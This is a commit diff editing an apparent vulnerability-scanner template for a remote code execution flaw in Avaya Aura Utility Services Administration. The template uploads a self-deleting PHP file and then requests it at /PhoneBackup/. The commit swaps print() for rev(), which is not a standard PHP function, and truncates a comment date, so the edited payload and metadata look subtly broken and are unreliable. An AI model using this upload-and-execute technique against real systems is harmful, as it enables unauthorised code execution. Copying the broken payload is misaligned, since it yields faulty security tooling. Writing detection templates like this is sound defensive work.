Update avaya-aura-rce.yaml

patch-1
Ritik Chaddha 2023-06-16 10:13:11 +05:30 committed by GitHub
parent 67338b772a
commit 6f883ac17b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 3 deletions

View File

@ -4,7 +4,8 @@ info:
name: Avaya Aura Utility Services Administration - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: Avaya Aura Utility Services Administration is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
description: |
Avaya Aura Utility Services Administration is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
reference:
- https://blog.assetnote.io/2023/02/01/rce-in-avaya-aura/
- https://download.avaya.com/css/public/documents/101076366
@ -26,7 +27,7 @@ http:
User-Agent: AVAYA
Connection: close
<?php print('avaya-aura-rce');unlink(__FILE__);
<?php rev('avaya-aura-rce');unlink(__FILE__);
- |
GET /PhoneBackup/{{randstr}}.php HTTP/1.1
@ -46,4 +47,4 @@ http:
words:
- "text/html"
# Enhanced by md on 2023/03/22
# Enhanced by md on 2023/03/2